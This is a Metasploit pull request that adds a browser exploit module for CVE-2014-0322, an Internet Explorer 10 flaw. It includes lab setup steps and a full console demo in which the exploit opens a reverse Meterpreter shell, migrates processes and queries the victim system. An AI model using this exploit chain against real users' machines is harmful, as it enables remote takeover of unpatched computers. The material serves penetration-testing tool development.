rapid7/metasploit-framework — pull request #3266 by jvazquez-r7 (2014-04-15 23:00:06+00:00)
Title: Add module for CVE-2014-0322

Module for CVE-2014-0322 as exploited in the wild (Operation SnowMan in Feb 2014). All the credits go to Jean-Jamil Khalife (http://hdwsec.fr/blog/CVE-2014-0322.html) who did a nice work analyzing the flash exploit vector in his blog as used in the wild.

Verification
----------------

- [ ] Install Win 7 SP1, IE10 (prior to MS14-012!!!) and Flash 12 (ActiveX) ( tried with 12.0.0.38 and 12.0.077 successfully (first and last 12.0 versions) I hope it works with any Flash 12.0. Feedback is welcome.
- [ ] Use the exploit like in the next DEMO, hopefully you get a session if all the browser requirements are accomplished:

```
msf > use exploit/windows/browser/ms14_012_cmarkup_uaf
msf exploit(ms14_012_cmarkup_uaf) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 10.6.0.136:4444
[*] Using URL: http://0.0.0.0:8080/iBIaNfryEA
[*] Local IP: http://10.6.0.136:8080/iBIaNfryEA
[*] Server started.
msf exploit(ms14_012_cmarkup_uaf) > [*] 10.6.0.136 ms14_012_cmarkup_uaf - Request: /iBIaNfryEA
[*] 10.6.0.136 ms14_012_cmarkup_uaf - Gathering target information.
[*] 10.6.0.136 ms14_012_cmarkup_uaf - Sending response HTML.
[*] 10.6.0.136 ms14_012_cmarkup_uaf - Request: /iBIaNfryEA/yKIZq/
[*] 10.6.0.136 ms14_012_cmarkup_uaf - Request: /iBIaNfryEA/iqQsOa/
[!] 10.6.0.136 ms14_012_cmarkup_uaf - Exploit requirement(s) not met: mshtml_build. For more info: http://r-7.co/PVbcgx
[*] 10.6.0.136 ms14_012_cmarkup_uaf - Request: /iBIaNfryEA
[*] 10.6.0.136 ms14_012_cmarkup_uaf - Gathering target information.
[*] 10.6.0.136 ms14_012_cmarkup_uaf - Sending response HTML.
[*] 10.6.0.136 ms14_012_cmarkup_uaf - Request: /iBIaNfryEA/yKIZq/
[*] 10.6.0.136 ms14_012_cmarkup_uaf - Request: /iBIaNfryEA/iqQsOa/
[*] 10.6.0.136 ms14_012_cmarkup_uaf - Sending HTML...
[*] 10.6.0.136 ms14_012_cmarkup_uaf - Request: /iBIaNfryEA/iqQsOa/USETIN.swf
[*] 10.6.0.136 ms14_012_cmarkup_uaf - Sending SWF...
[*] 10.6.0.136 ms14_012_cmarkup_uaf - Request: /iBIaNfryEA/iqQsOa/USETIN.swf
[*] 10.6.0.136 ms14_012_cmarkup_uaf - Sending SWF...
[*] Sending stage (769536 bytes) to 10.6.0.136
[*] Meterpreter session 1 opened (10.6.0.136:4444 -> 10.6.0.136:54180) at 2014-04-15 17:54:10 -0500
[*] Session ID 1 (10.6.0.136:4444 -> 10.6.0.136:54180) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3788)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 4000
[*] 10.6.0.136 ms14_012_cmarkup_uaf - Request: /iBIaNfryEA/iqQsOa/
[*] 10.6.0.136 ms14_012_cmarkup_uaf - Target with tag "HFBZljYjtsuDOgDUSBNDfbTD" wants to retry the module, not allowed.
[+] Successfully migrated to process

msf exploit(ms14_012_cmarkup_uaf) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 WIN-RNJ7NBRK9L7\Juan Vazquez @ WIN-RNJ7NBRK9L7 10.6.0.136:4444 -> 10.6.0.136:54180 (192.168.172.134)

msf exploit(ms14_012_cmarkup_uaf) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
eComputer : WIN-RNJ7NBRK9L7
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.134 - Meterpreter session 1 closed. Reason: User exit
```